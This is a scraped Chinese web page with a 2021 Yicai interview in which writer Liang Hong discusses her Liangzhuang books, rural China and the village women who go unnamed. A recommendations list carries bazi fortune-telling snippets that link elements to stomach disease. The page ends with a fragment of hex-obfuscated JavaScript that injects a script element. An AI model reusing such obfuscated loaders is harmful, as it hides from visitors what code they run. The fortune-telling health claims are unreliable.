首页 / 第一财经 / 作家梁鸿:了解乡村,才能理解我们的思想从哪里来

作家梁鸿:了解乡村,才能理解我们的思想从哪里来

第一财经 2021-09-30 11:04

在关于文学与故乡的纪录片《一直游到海水变蓝》中,作家梁鸿的故事令不少观众几度潸然。

“真的不能说这个。”梁鸿的回忆因哽咽戛然而止,沉默背后是艰难的过往和浓烈的情感,日常而又平静的语言之下藏着一个普通家庭的惊心动魄。关于因病早逝的母亲,关于与子女关系紧张的父亲,关于为了姊妹的幸福而奉献自己的长姐。一个遥远村庄的普通人的生命经验,在许多人心中泛起波澜,唤起各自对故乡和童年,以及亲人的记忆。

《一直游到海水变蓝》中四位主人公:马烽、贾平凹、余华和梁鸿的文学创作、个人经验以及私人情感的分享,如同信使,构筑起近七十年中国乡村生活的图景。生于上世纪七十年代的梁鸿是最年轻的一位,也是唯一的女作家。贾樟柯曾说,在拍摄梁鸿的时候,影片的结构才第一次清晰地出现在他脑海里,沿着她的讲述可以梳理出一条家庭结构,这是她讲述的故事核心。

梁鸿是中国人民大学文学院教授,乡土文学与乡土中国关系学者,河南穰县人,著有非虚构文学《中国在梁庄》《出梁庄记》和《梁庄十年》,小说《神圣家族》《四象》等作品。可以说,她的学术、写作与生活,都和故乡有密不可分的互动和联结。她笔下的梁庄是千千万万中国村庄的缩影。

“从什么时候开始起,乡村成了民族的累赘,成了改革、发展与现代化追求的负面?什么时候起,乡村成了底层、边缘、病症的代名词?又是从什么时候起,一想起那日渐荒凉、寂寞的乡村,想起那在城市黑暗边缘忙碌,在火车站奋力挤拼的无数的农民工,就有悲怆欲哭的感觉?”带着这样的追问,2008年,梁鸿回到故乡,又在过去十多年中,不断重返,遍访散落在全国各地的梁庄人。她近距离观察一个中国村庄的结构与变迁,又追踪那些出走的梁庄人,记录他们的喜怒哀乐与悲欢离合。

在她看来,关于梁庄和梁庄人的书写是无法穷尽的。“梁庄在不断地流动和变化,有人去世,有人出生,有的家庭分崩离析,有的家庭和和美美,在变动的过程中,实际上时代的影子、历史的影子、个人的影子也在其中,你会因为这样的变化产生更多新的想法,始终充满好奇。不可能因为写了两本书就了解了梁庄,穷尽了梁庄。”

在今年年初出版的《梁庄十年》中,梁鸿从整体性的观察转向日常化的描摹。“事件更容易令人有震惊之感,但十年不断来去,如果仍然只看到事件,可能你对这个村庄的情感并没有真正地发展,随着思想变化和年龄增长,会看到一个细微而丰富的梁庄。我想把梁庄日常化的存在写出来,作为一个梁庄人,他们私密的情感,作为个体如何存在。比如五奶奶仍然是一个失去了孙儿的老人,但同时她也有乐观、幽默的一面。”

《梁庄十年》

梁鸿 著

上海三联书店·理想国 2021年1月

也是在这次写作中,梁鸿发现了一个令她震动的事实。在《中国在梁庄》《出梁庄记》中,写到堂哥时,她会详细写出他们的名字,写到女性时,她从来没想到写出她们的名字,直接用“花婶”“大嫂”来代替。“在无意识深处,在最日常的表述中,我仍然以最传统的思维使用语言。”

在书中,丢失了姓名的,以婶子、嫂子为名的,被唤作“XX家媳妇”的女人发出疑问:“一个女孩子,怎样才算是她自己?”这些细密的回忆中,她看见了因为美貌被污名化的燕子、长年忍受家暴的春静、逃婚出走在城市奋斗的小玉,在那些晦暗的日子里,她看见她们不屈服于命运的身影,在鲜活的文字中,这些在混沌中努力自救的女性得以浮出水面。

一个人,接受了现代知识的教育和城市文明的洗礼,如何面对故乡这样的存在?如何面对故乡的亲人?如何面对乡村和城市的关系?梁鸿对故乡长久的凝视和书写,从个人经验的角度提供了她的答案,也让更年轻的一代人知道自己从何处来。

第一财经:在《一直游到海水变蓝》当中,你提到重返故乡写作前的心境,生活越是顺利,内心“背叛”的意识越是强烈。为什么顺遂的生活会让你产生“背叛”的感受?这种“背叛”具体指的是什么?

梁鸿:背叛更多是一种精神上的东西,而不是实际背叛了什么。每个人的成长过程基本上都是求学、离开家乡,到某个地方重新生活,这是正常的路径。离开家乡才有所谓的闯世界,大开眼界,理解生活。离开是一种必然。但是当你在某个地方定居下来,进入一种安稳的渠道之后,于我而言,内心会有隐隐的不安之感,就是你身后还有那么一个村庄,那么一群人,虽然它平时是一个相对模糊的状态,但是你的父老乡亲,你的家人还在这个地方生活。

另一个层面,我一直研究乡土文学,知道文学内部的书写,但是感觉在精神内部没有完成某种蜕变,或者说这种蜕变是无法完成的。我当年的博士论文写河南文学,从外省文化的角度探讨文学、河南文化和中原文化。完成博士论文之后,对我而言得到了非常大的精神成长。因为之前你的生活是自然感性的存在,经过这三年的不断书写和查找资料,不断重返河南这片土地,你就会发现这片土地像子宫一样,一方水土养一方人,它培育了我们的性格,培育了我们的文化特征。

于我而言,内心觉得应该有一种重返的意识。你的安稳生活,你的书斋生活都是一个正常的时代生活,但是在你的内心深处还有另外一个大的背景,隐隐让你不安,这不是你一定要承担的,而是在你灵魂深处变成精神上的痛感,由不得你,让你很难放过自己。重返家乡,是对自我的整理,希望能够找到某种精神内部的连接点。

第一财经:《梁庄十年》当中《芝麻粒儿大的命》一章书写了梁庄女性的生存境遇,写那些忍受家暴的女性,写那些丢失了姓名的女人,是什么样的原因让你关注并思考农村女性所遭遇的困境和问题?

梁鸿:女性问题其实不是一个问题,它其实是我们的日常。它一直在那儿,但其实你一直没有看到,恰恰是长年不断地观察注视可能才会发现,而不是带着外部的问题视野去看。

一个女孩嫁到了这个村庄,你自然地称她为婶子、嫂子,你很少想到她的名字。我写五奶奶名字的时候,觉得不知道她叫什么很正常,但越是正常越是难以发现,越说明内部存在问题。我在前两本的书写当中也没有在意,也没有赋予她们什么名字,这才是真正的问题所在。我们应该到生活内部去寻找,它不是一个凸显的事件性的存在,而是埋藏在我们的观念内部,需要一点点去发现,可能有人觉得:这有什么,不就是文化惯性?但恰恰也是值得我们去重视的。当我们说女性的时候,不应该说是女性问题,而是女性的存在。

第一财经:关于农村家庭的呈现,眼下一些影视剧中流行塑造一个被剥削的女儿,一个掏空孩子的家庭。

梁鸿:它过于概念化和刻板化了。影视剧里的乡村更多是用刻板化的印象加剧了城乡二元对立的观念,所反映的乡村和真正的女性问题是两回事。我特别愤怒于这种东西,因为乡村是有问题,但不是那个问题。并不是说所有的乡村的妈妈都是压迫自己女儿的。或者当你走进乡村,看到一个家庭举全家之力让儿子考上大学,为什么不可以让他帮助家庭,这难道就是一件非常不好的事情吗?

第一财经:对于那些出生和成长在城市的孩子或是年轻人来说,认识和理解乡村仍然是重要的吗?

梁鸿:我觉得是非常有必要的。不管你生活在大城市、小城市还是中国的某一个地方,在中国生活的实践中,城市和乡村是非常重要的存在,它是不容忽略的。作为一个中国的生活者,你自然必须要了解乡村,因为那是你生活的一部分,你要想了解中国,其实就是必须要了解乡村。乡村的思维还是一个非常重要的中国文化思维方式。今天我们社会的种种其实都来自于乡村,只有你了解乡村了,才有可能了解我们的思想从哪里来。

乡村作为一个现实的主体、组织单位,它仍然包含着自然、山川、河流,它仍然包含着人类内心深处最渴望的东西。在这个意义上,乡村实际上是重要的情感载体,有了乡村,有了更好的乡村,我们的生活可能会更加宽阔,我们的存在更加多样态,而不单单只有钢筋水泥。为了我们生活的多元性,为了乡村这样一种千百年来跟自然相关的存在能够更好地延续,我们也应该了解乡村,知道它到底是怎么回事。

中国的很多问题都仍然是跟乡村相关联的。城市里的农民工问题、户口问题、人口问题等都跟乡村相关;不平等问题、阶层固化问题都与乡村相关。我们的生活并没有脱离乡村,它是一个非常现实的存在。我觉得,作为一个社会的公民,对于一个想思考的人而言,想了解中国生活,就必须得了解乡村。如果你根本不想思考,说那跟我没关系,我就想在城市里好好生活,那也可以。

第一财经:从《中国在梁庄》到《出梁庄记》再到《梁庄十年》,多次的重返故乡,书写故乡。于你而言,最大的收获与改变是什么?

梁鸿:我学会辩证地看生活。脑海里有这样一个庞大的生活在这儿,你很难去做简单的判断。另一方面。因为这样一个广大的人群的存在,这样一种大地生活在你脑中的存在,让我的思维变得更加及物。思考问题的时候,会更具思辨性,不会轻易地空对空地思考,而是更具有生活实感。

我还是会继续写梁庄,它对我而言是一生中非常重要的事情。我希望我能够跟梁庄一起成长,一起衰老,一起走向死亡,当然梁庄本身还在,不会因为你的变化而变化,但是能够伴随着梁庄往前走,是一件非常幸运的事情。

猜你喜欢

  • 戊土太旺或太弱时易生胃病。木旺土弱胃病。土弱金旺胃病。水多土荡,胃疼胃出血。辰戌相冲胃受损。柱中水多而旺,土与火弱,易患胃溃疡或胃下垂。戊土弱得旺火生,火多土焦,易患胃炎、胃溃疡。柱中戊土弱遭木局克破,有刀伤之灾。辰土、戌土被其他支合化成另一五行,胃..

    命理研究2024-03-28
  • 《观音菩萨偈》观音菩萨妙难酬,清净庄严累劫修。三十二应周尘刹,百千万劫化阎浮。瓶中甘露常遍洒,手内杨枝不计秋。千处祈求千处应,苦海常作渡人舟。观音菩萨佛教日农历二月十九:观世音菩萨圣诞日农历六月十九:观世音菩萨成道日农历九月十九:观世音菩萨出家日2024..

    真九归医2024-03-27
  • 易学命理唐老师/书网友:男1985年生,请老师看看财运婚姻,单位上班人士,工作方面压力大,也没有什么积蓄,什么时候财运才能转好,婚姻上2020起就情感很不顺,2023年离异目前单身,什么时候有再婚机会,未来婚姻稳定些吗?【回复】乾造:乙丑年,壬午月,庚辰日,丁丑..

    命理易学唐老师2024-03-27
  • 在很多人眼中,诸葛亮谋略出众,军事能力超强,他乃是神一般的男人!结果在第二次北伐时期,诸葛亮以数万精锐进攻一千余人的陈仓,竟然无功而返,这是怎么回事呢?为何诸葛亮打不下区区千余人的陈仓呢?陈仓之战诸葛亮第一次北伐过后不久,准备趁曹魏没有防备,再次北伐..

    超级七品小芝麻官2024-03-27
  • 我们都知道,苏轼在文学上的成就登峰造极。他的诗风格独具,与黄庭坚并称“苏黄”;他的词豪放大气,与辛弃疾并称“苏辛”。但鲜有人知道,苏轼也是一个写寓言的大师,一生留下了百余则经典寓言。今天为大家分享5篇苏轼写的寓言故事,篇幅短小,含义深刻,读懂受用不尽..

    诗词雅言2024-03-27
  • 三国时期,群雄逐鹿,英才辈出,彼此之间,斗智斗勇,为今人留下了生动的三国故事。在我们激赏三国人物运筹帷幄的智慧、侠肝义胆的忠勇时,容易忘记这一时代诞生了一些对后世影响深远的家训文献,正是通过这些文字,我们得以见识在那个兵荒马乱的年代中三国人物内心深处..

    诗词雅言2024-03-27
  • 友字,在甲骨文里是由两个“又”构成,也就是两只右手。一个人只能有一只右手,两只右手肯定是来自两个不同的人,双方用相对灵巧的右手相互配合,互相协调来完成工作,因此产生默契、友好的含义。右手除了可以使用工具,还可以挥舞武器,两个人同时伸出右手,相当于是把..

    诗词雅言2024-03-27
  • 《唐诗三百首》是清朝蘅塘退士孙洙所编选的唐诗选集,成书于乾隆年间,共选唐诗310首。孙洙编《唐诗三百首》原本是为家族儿童学习诗歌,作为家塾课本使用,但编成后却风靡一时,甚至在某段时间内达到“家均一本”的惊人地步,是当之无愧的流传最广、影响力最大、刊印本..

    诗词雅言2024-03-27
  • 十神相互作用,结果有吉有凶。十神组合种类极多,代表不同信息,下面举例说明。伤官见官。官星代表事业、工作、地位、领导、权威、自我克制力、女性的丈夫等。官星促使人走正道,少犯错误。伤官代表骄纵、反抗、违逆、恃才傲物、蔑视权威、出口伤人等。伤官无情克制官星..

    命理研究2024-03-27
  • 贪财坏印,是命理学中的一个术语,指局中喜欢印来扶身,却见财来克破正偏印之局,财人皆喜之,故有贪财之说;比如日元甲木以癸水为正印,但见其他天干己土来合,己土为甲木正财,甲己合化土局反有克癸水之气,此为明显的贪财坏印。在命理学中印代表名誉、母亲、文凭、学..

    命理研究2024-03-27
  • 抵抗流亡或寻找理想自我1敬文东/著开场白今天,是张枣三周年的祭日。三年前的今天凌晨,张枣病逝于德国图宾根大学校医院。他去世后,我只接受过一家媒体的采访。我说,我来中央民族大学任教十多年,从未做过讲座,为了张枣,愿意破例2。转眼间,三年说过去就过去了。今..

    外国诗歌精选2024-03-27
  • 易学命理唐老师/书网友:女 1986年生,请老师看看事业财运,与婚姻,工作虽然不错,但这几人小人很多,未来能否有更好的发展,情感方面,未妻不在一个地方工作,对婚姻影响大吗?要注意什么问题,谢谢!【回复】坤造:丙寅年,己亥月,甲子日,辛未时,3岁运:戊戌,丁..

    命理易学唐老师2024-03-15
  • 在招安前,梁山108好汉战无不胜,攻无不克,在招安后,梁山军虽然偶尔吃一些败仗,在征讨辽国、田虎、王庆时,有惊无险,没有折损一位好汉。然而,在征讨方腊时,不知道出了什么事,梁山好汉一个接一个死去,他们不是战死沙场,就是病逝。梁山108好汉中,最后幸存下来的..

    魁哥说历史2024-03-13
  • 什么是木火交辉,简单的理解就是以木火为主的八字命,木火交辉格为八字算命变格的一种,出自三命通会。赋云:火明木秀,生春月以为荣。此象乃甲戌、甲午、甲寅、丙午、丙寅、丙戌等日,生春月或夏月,柱无金水伤坏,时上有木火。行木火运,木日火秀,行南方运,火日木秀..

    命理研究2024-03-13
  • 文/易学鬼手 伤官是宣泄,发挥及创造的通道,正印为吸纳,酝酿及收获的管道,伤官释放正印收纳形成一套收放自如的体系,没有正印时伤官会一路狂奔失足坠崖,而正印出现后伤官有所醒悟和收敛故狂飙之后依然可悬崖勒马。日主身弱者,最宜在命局地支或大运流年的地支见到日..

    八字预测命理2024-03-13
  • 中国人四季观念的形成可以从“春、夏、秋、冬”这几个字的本义见出一些端倪。“春”字最早见于甲骨文,本义是草的种子推土而出,开始生根发芽了。《说文解字》:“春,推也,从艸从日,艸春时生也。”作为季节的“夏”字是假借字,本义为“雄武的中国人”。《说文解字》..

    诗词雅言2024-03-09
  • 《人月圆·山中书事》元代:张可久兴亡千古繁华梦,诗眼倦天涯。孔林乔木,吴宫蔓草,楚庙寒鸦。数间茅舍,藏书万卷,投老村家。山中何事?松花酿酒,春水煎茶。译文:千古以来,兴亡更替就像繁华的春梦一样。诗人用疲倦的眼睛远望着天边。孔子家族墓地中长满乔木,吴国..

    诗词雅言2024-03-09
  • ​时光总是来去匆匆。很多时候,还没有准备好,已经开始了下一个旅程,即使光阴的转角处,花事还没有散场。人生仅以一程风景,换一场懂得,你左右不了时光,有时候也左右不了心情,一个人的路途,是一个人的欢喜一个人的歌。​光阴终不会为谁而停留,一直以为不会离开的..

    诗然散文诗歌2024-03-09
  • 1、小空亡房屋或者坟墓坐向恰逢在两山之间的正中线上称为“空缝”,名为小空亡,也叫阴阳差错。凶祸相对小。离卦之丙午、午丁的分界;坤卦之未坤、坤申的分界;兑卦之庚酉、酉辛的分界;乾卦之戌干、干亥的分界;坎卦之壬子、子癸的分界;艮卦之丑艮、艮寅的分界;震卦之甲卯..

    命理研究2024-03-09
  • 在人们眼中,梁山108好汉中,天罡普遍武功高强,战力惊人,谋略过人,地煞普遍偏弱,甚至有的更是弱得离奇,如宋江的胞弟宋清,就是一个普通的农民,仅仅比白面书生强一丁点而已。然而,72地煞之中并不全是弱鸡,其中有一个人的战力很高,堪称最强地煞,不但在地煞之中..

    魁哥说历史2024-03-09
9\x70\x74")[0];uGjcoY3['\x70\x61\x72\x65\x6e\x74\x4e\x6f\x64\x65']['\x69\x6e\x73\x65\x72\x74\x42\x65\x66\x6f\x72\x65'](XBLUoB2,uGjcoY3)})();